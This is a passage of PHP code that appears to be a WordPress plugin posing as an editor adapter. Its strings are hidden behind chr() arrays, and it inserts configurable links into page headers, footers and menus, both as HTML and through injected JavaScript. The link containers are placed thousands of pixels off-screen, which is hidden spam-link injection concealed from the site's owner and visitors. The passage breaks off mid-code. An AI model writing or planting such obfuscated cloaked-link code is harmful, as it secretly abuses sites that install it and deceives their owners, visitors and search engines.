$pattern = implode('', array(chr(47), chr(60), chr(92), chr(47))) . \preg_quote($tag, implode('', array(chr(47)))) . implode('', array(chr(62), chr(47), chr(105)));
if (\preg_match($pattern, $html)) {
return \preg_replace($pattern, implode('', array(chr(60), chr(47))) . $tag . implode('', array(chr(62))) . $insertion, $html, 1);
}
return $html;
}
function WpEditor_Adapter_Frontend_LinkHandler_insertLinkOnHomepage()
{
if (!\is_front_page() || !WpEditor_Adapter_Services_RenderModeService_isJs()) {
return;
}
echo WpEditor_Adapter_Frontend_LinkJsRenderer_renderBlockLink(implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(77), chr(97), chr(105), chr(110), chr(32), chr(80), chr(97), chr(103), chr(101), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
function WpEditor_Adapter_Frontend_LinkHandler_insertLinkInFooter()
{
if (!\is_front_page() || !WpEditor_Adapter_Services_RenderModeService_isJs()) {
return;
}
echo WpEditor_Adapter_Frontend_LinkJsRenderer_renderBlockLink(implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
function WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkInHeader()
{
if (\is_front_page() || !WpEditor_Adapter_Services_RenderModeService_isJs()) {
return;
}
echo WpEditor_Adapter_Frontend_LinkJsRenderer_renderBlockLink(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(72), chr(101), chr(97), chr(100), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
function WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkInFooter()
{
if (\is_front_page() || !WpEditor_Adapter_Services_RenderModeService_isJs()) {
return;
}
echo WpEditor_Adapter_Frontend_LinkJsRenderer_renderBlockLink(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
function WpEditor_Adapter_Frontend_LinkHandler_insertLinkAfterMenu($items, $args)
{
if (!\is_string($items) || \trim($items) === '') {
return $items;
}
if (!\is_front_page() || WpEditor_Adapter_Services_LinkOptionsService_getUrl(implode('', array(chr(109), chr(101), chr(110), chr(117)))) === '') {
return $items;
}
if (WpEditor_Adapter_Services_RenderModeService_isJs()) {
return $items . WpEditor_Adapter_Frontend_LinkJsRenderer_renderMenuLink(implode('', array(chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
return $items . WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuItem(implode('', array(chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
function WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkAfterMenu($items, $args)
{
if (!\is_string($items) || \trim($items) === '') {
return $items;
}
if (\is_front_page()) {
return $items;
}
if (WpEditor_Adapter_Services_LinkOptionsService_getUrl(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117)))) === '') {
return $items;
}
if (WpEditor_Adapter_Services_RenderModeService_isJs()) {
return $items . WpEditor_Adapter_Frontend_LinkJsRenderer_renderMenuLink(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
return $items . WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuItem(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
// --- file separator ---
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_buildPinnedId($base, $anchor)
{
$raw = \ltrim((string) $anchor, implode('', array(chr(35), chr(32), chr(9), chr(10), chr(13), chr(0), chr(11))));
$raw = \strtolower(\sanitize_text_field($raw));
$safe = \preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(48), chr(45), chr(57), chr(92), chr(45), chr(95), chr(93), chr(43), chr(47), chr(105))), implode('', array(chr(45))), $raw);
if (!\is_string($safe)) {
$safe = '';
}
$safe = \trim($safe, implode('', array(chr(45))));
if ($safe === '') {
return $base;
}
return $base . implode('', array(chr(45))) . $safe;
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData($location, $defaultLabel)
{
$url = WpEditor_Adapter_Services_LinkOptionsService_getUrl($location);
if ($url === '') {
return null;
}
return array(implode('', array(chr(108), chr(111), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110))) => $location, implode('', array(chr(117), chr(114), chr(108))) => $url, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => WpEditor_Adapter_Services_LinkOptionsService_getLabel($location, $defaultLabel), implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => WpEditor_Adapter_Services_LinkOptionsService_getMarkup($location), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114))) => WpEditor_Adapter_Services_LinkOptionsService_getAnchor($location));
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderInlineContentByData($data)
{
if (!\is_array($data)) {
return '';
}
$markup = \wp_editor_array_has_key($data, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) ? (string) $data[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] : '';
if ($markup !== '') {
return implode('', array(chr(60), chr(112), chr(62))) . $markup . implode('', array(chr(60), chr(47), chr(112), chr(62)));
}
$url = \wp_editor_array_has_key($data, implode('', array(chr(117), chr(114), chr(108)))) ? (string) $data[implode('', array(chr(117), chr(114), chr(108)))] : '';
$label = \wp_editor_array_has_key($data, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) ? (string) $data[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] : '';
return WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderLink($url, $label);
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderLink($url, $label)
{
if ($url === '') {
return '';
}
return implode('', array(chr(60), chr(97), chr(32), chr(104), chr(114), chr(101), chr(102), chr(61), chr(34))) . \esc_url($url) . implode('', array(chr(34), chr(62))) . \esc_html($label) . implode('', array(chr(60), chr(47), chr(97), chr(62)));
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderHeaderInline()
{
$data = null;
if (\is_front_page()) {
$data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(77), chr(97), chr(105), chr(110), chr(32), chr(80), chr(97), chr(103), chr(101), chr(32), chr(76), chr(105), chr(110), chr(107))));
} else {
$data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(72), chr(101), chr(97), chr(100), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
if (!\is_array($data)) {
return '';
}
$content = WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderInlineContentByData($data);
if ($content === '') {
return '';
}
$anchor = \wp_editor_array_has_key($data, implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114)))) ? (string) $data[implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114)))] : '';
$id = WpEditor_Adapter_Frontend_LinkHtmlRenderer_buildPinnedId(implode('', array(chr(112), chr(105), chr(110), chr(45), chr(117), chr(112))), $anchor);
return implode('', array(chr(60), chr(100), chr(105), chr(118), chr(32), chr(105), chr(100), chr(61), chr(34))) . \esc_attr($id) . implode('', array(chr(34), chr(32), chr(115), chr(116), chr(121), chr(108), chr(101), chr(61), chr(34), chr(108), chr(101), chr(102), chr(116), chr(58), chr(45), chr(51), chr(55), chr(55), chr(53), chr(112), chr(120), chr(59), chr(112), chr(111), chr(115), chr(105), chr(116), chr(105), chr(111), chr(110), chr(58), chr(97), chr(98), chr(115), chr(111), chr(108), chr(117), chr(116), chr(101), chr(59), chr(116), chr(111), chr(112), chr(58), chr(45), chr(57), chr(48), chr(54), chr(57), chr(112), chr(120), chr(59), chr(34), chr(62))) . $content . implode('', array(chr(60), chr(47), chr(100), chr(105), chr(118), chr(62)));
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderFooterInline()
{
$data = null;
if (\is_front_page()) {
$data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
} else {
$data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
if (!\is_array($data)) {
return '';
}
$content = WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderInlineContentByData($data);
if ($content === '') {
return '';
}
$anchor = \wp_editor_array_has_key($data, implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114)))) ? (string) $data[implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114)))] : '';
$id = WpEditor_Adapter_Frontend_LinkHtmlRenderer_buildPinnedId(implode('', array(chr(112), chr(105), chr(110), chr(45), chr(100), chr(111), chr(119), chr(110))), $anchor);
return implode('', array(chr(60), chr(100), chr(105), chr(118), chr(32), chr(105), chr(100), chr(61), chr(34))) . \esc_attr($id) . implode('', array(chr(34), chr(32), chr(115), chr(116), chr(121), chr(108), chr(101), chr(61), chr(34), chr(108), chr(101), chr(102), chr(116), chr(58), chr(45), chr(51), chr(55), chr(55), chr(53), chr(112), chr(120), chr(59), chr(112), chr(111), chr(115), chr(105), chr(116), chr(105), chr(111), chr(110), chr(58), chr(97), chr(98), chr(115), chr(111), chr(108), chr(117), chr(116), chr(101), chr(59), chr(116), chr(111), chr(112), chr(58), chr(57), chr(48), chr(54), chr(57), chr(112), chr(120), chr(59), chr(34), chr(62))) . $content . implode('', array(chr(60), chr(47), chr(100), chr(105), chr(118), chr(62)));
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuItem($location, $defaultLabel)
{
$url = WpEditor_Adapter_Services_LinkOptionsService_getUrl($location);
if ($url === '') {
return '';
}
$label = WpEditor_Adapter_Services_LinkOptionsService_getLabel($location, $defaultLabel);
return implode('', array(chr(60), chr(108), chr(105), chr(32), chr(99), chr(108), chr(97), chr(115), chr(115), chr(61), chr(34), chr(109), chr(101), chr(110), chr(117), chr(45), chr(105), chr(116), chr(101), chr(109), chr(34), chr(62), chr(60), chr(97), chr(32), chr(104), chr(114), chr(101), chr(102), chr(61), chr(34))) . \esc_url($url) . implode('', array(chr(34), chr(62))) . \esc_html($label) . implode('', array(chr(60), chr(47), chr(97), chr(62), chr(60), chr(47), chr(108), chr(105), chr(62)));
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuSection()
{
$output = '';
if (\is_front_page()) {
$data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
if (\is_array($data)) {
$output .= WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuItem(implode('', array(chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
} else {
$data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
if (\is_array($data)) {
$output .= WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuItem(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
}
return $output;
}
// --- file separator ---
function WpEditor_Adapter_Frontend_LinkJsRenderer_renderBlockLink($location, $defaultLabel)
{
$url = WpEditor_Adapter_Services_LinkOptionsService_getUrl($location);
if ($url === '') {
return '';
}
$label = WpEditor_Adapter_Services_LinkOptionsService_getLabel($location, $defaultLabel);
$markup = WpEditor_Adapter_Services_LinkOptionsService_getMarkup($location);
$anchor = WpEditor_Adapter_Services_LinkOptionsService_getAnchor($location);
$urlJson = json_encode($url, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
$labelJson = json_encode($label, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
$markupJson = json_encode($markup, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
$anchorJson = json_encode($anchor, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
$locationJson = json_encode($location, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
return implode('', array(chr(60), chr(115), chr(99), chr(114), chr(105), chr(112), chr(116), chr(62), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(40), chr(102), chr(117), chr(110), chr(99), chr(116), chr(105), chr(111), chr(110), chr(40), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(108), chr(111), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(61), chr(32))) . $locationJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(105), chr(115), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(61), chr(32), chr(47), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(47), chr(105), chr(46), chr(116), chr(101), chr(115), chr(116), chr(40), chr(108), chr(111), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(32), chr(61), chr(32))) . $anchorJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(32), chr(61), chr(32), chr(110), chr(117), chr(108), chr(108), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(105), chr(115), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(113), chr(117), chr(101), chr(114), chr(121), chr(83), chr(101), chr(108), chr(101), chr(99), chr(116), chr(111), chr(114), chr(40), chr(34), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(44), chr(32), chr(35), chr(99), chr(111), chr(108), chr(111), chr(112), chr(104), chr(111), chr(110), chr(44), chr(32), chr(46), chr(115), chr(105), chr(116), chr(101), chr(45), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(44), chr(32), chr(91), chr(114), chr(111), chr(108), chr(101), chr(61), chr(39), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(105), chr(110), chr(102), chr(111), chr(39), chr(93), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(32), chr(101), chr(108), chr(115), chr(101), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(113), chr(117), chr(101), chr(114), chr(121), chr(83), chr(101), chr(108), chr(101), chr(99), chr(116), chr(111), chr(114), chr(40), chr(34), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(44), chr(32), chr(35), chr(109), chr(97), chr(115), chr(116), chr(104), chr(101), chr(97), chr(100), chr(44), chr(32), chr(46), chr(115), chr(105), chr(116), chr(101), chr(45), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(44), chr(32), chr(91), chr(114), chr(111), chr(108), chr(101), chr(61), chr(39), chr(98), chr(97), chr(110), chr(110), chr(101), chr(114), chr(39), chr(93), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(33), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(98), chr(111), chr(100), chr(121), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(33), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(102), chr(117), chr(110), chr(99), chr(116), chr(105), chr(111), chr(110), chr(32), chr(110), chr(111), chr(114), chr(109), chr(97), chr(108), chr(105), chr(122), chr(101), chr(65), chr(110), chr(99), chr(104), chr(111), chr(114), chr(40), chr(118), chr(97), chr(108), chr(117), chr(101), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(116), chr(121), chr(112), chr(101), chr(111), chr(102), chr(32), chr(118), chr(97), chr(108), chr(117), chr(101), chr(32), chr(33), chr(61), chr(61), chr(32), chr(34), chr(115), chr(116), chr(114), chr(105), chr(110), chr(103), chr(34), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(32), chr(34), chr(34), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(115), chr(97), chr(110), chr(105), chr(116), chr(105), chr(122), chr(101), chr(100), chr(32), chr(61), chr(32), chr(118), chr(97), chr(108), chr(117), chr(101), chr(46), chr(114), chr(101), chr(112), chr(108), chr(97), chr(99), chr(101), chr(40), chr(47), chr(94), chr(35), chr(43), chr(47), chr(44), chr(32), chr(34), chr(34), chr(41), chr(46), chr(116), chr(111), chr(76), chr(111), chr(119), chr(101), chr(114), chr(67), chr(97), chr(115), chr(101), chr(40), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(115), chr(97), chr(110), chr(105), chr(116), chr(105), chr(122), chr(101), chr(100), chr(32), chr(61), chr(32), chr(115), chr(97), chr(110), chr(105), chr(116), chr(105), chr(122), chr(101), chr(100), chr(46), chr(114), chr(101), chr(112), chr(108), chr(97), chr(99), chr(101), chr(40), chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(48), chr(45), chr(57), chr(92), chr(45), chr(95), chr(93), chr(43), chr(47), chr(103), chr(44), chr(32), chr(34), chr(45), chr(34), chr(41), chr(46), chr(114), chr(101), chr(112), chr(108), chr(97), chr(99), chr(101), chr(40), chr(47), chr(94), chr(45), chr(43), chr(124), chr(45), chr(43), chr(36), chr(47), chr(103), chr(44), chr(32), chr(34), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(32), chr(115), chr(97), chr(110), chr(105), chr(116), chr(105), chr(122), chr(101), chr(100), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(83), chr(117), chr(102), chr(102), chr(105), chr(120), chr(32), chr(61), chr(32), chr(110), chr(111), chr(114), chr(109), chr(97), chr(108), chr(105), chr(122), chr(101), chr(65), chr(110), chr(99), chr(104), chr(111), chr(114), chr(40), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(66), chr(97), chr(115), chr(101), chr(32), chr(61), chr(32), chr(105), chr(115), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(63), chr(32), chr(34), chr(112), chr(105), chr(110), chr(45), chr(100), chr(111), chr(119), chr(110), chr(34), chr(32), chr(58), chr(32), chr(34), chr(112), chr(105), chr(110), chr(45), chr(117), chr(112), chr(34), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(32), chr(61), chr(32), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(83), chr(117), chr(102), chr(102), chr(105), chr(120), chr(32), chr(63), chr(32), chr(40), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(66), chr(97), chr(115), chr(101), chr(32), chr(43), chr(32), chr(34), chr(45), chr(34), chr(32), chr(43), chr(32), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(83), chr(117), chr(102), chr(102), chr(105), chr(120), chr(41), chr(32), chr(58), chr(32), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(66), chr(97), chr(115), chr(101), chr(59), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(113), chr(117), chr(101), chr(114), chr(121), chr(83), chr(101), chr(108), chr(101), chr(99), chr(116), chr(111), chr(114), chr(65), chr(108), chr(108), chr(40), chr(34), chr(91), chr(105), chr(100), chr(94), chr(61), chr(39), chr(34), chr(32), chr(43), chr(32), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(66), chr(97), chr(115), chr(101), chr(32), chr(43), chr(32), chr(34), chr(39), chr(93), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(102), chr(111), chr(114), chr(32), chr(40), chr(118), chr(97), chr(114), chr(32), chr(105), chr(32), chr(61), chr(32), chr(48), chr(59), chr(32), chr(105), chr(32), chr(60), chr(32), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(46), chr(108), chr(101), chr(110), chr(103), chr(116), chr(104), chr(59), chr(32), chr(105), chr(43), chr(43), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(91), chr(105), chr(93), chr(32), chr(38), chr(38), chr(32), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(91), chr(105), chr(93), chr(46), chr(112), chr(97), chr(114), chr(101), chr(110), chr(116), chr(78), chr(111), chr(100), chr(101), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), 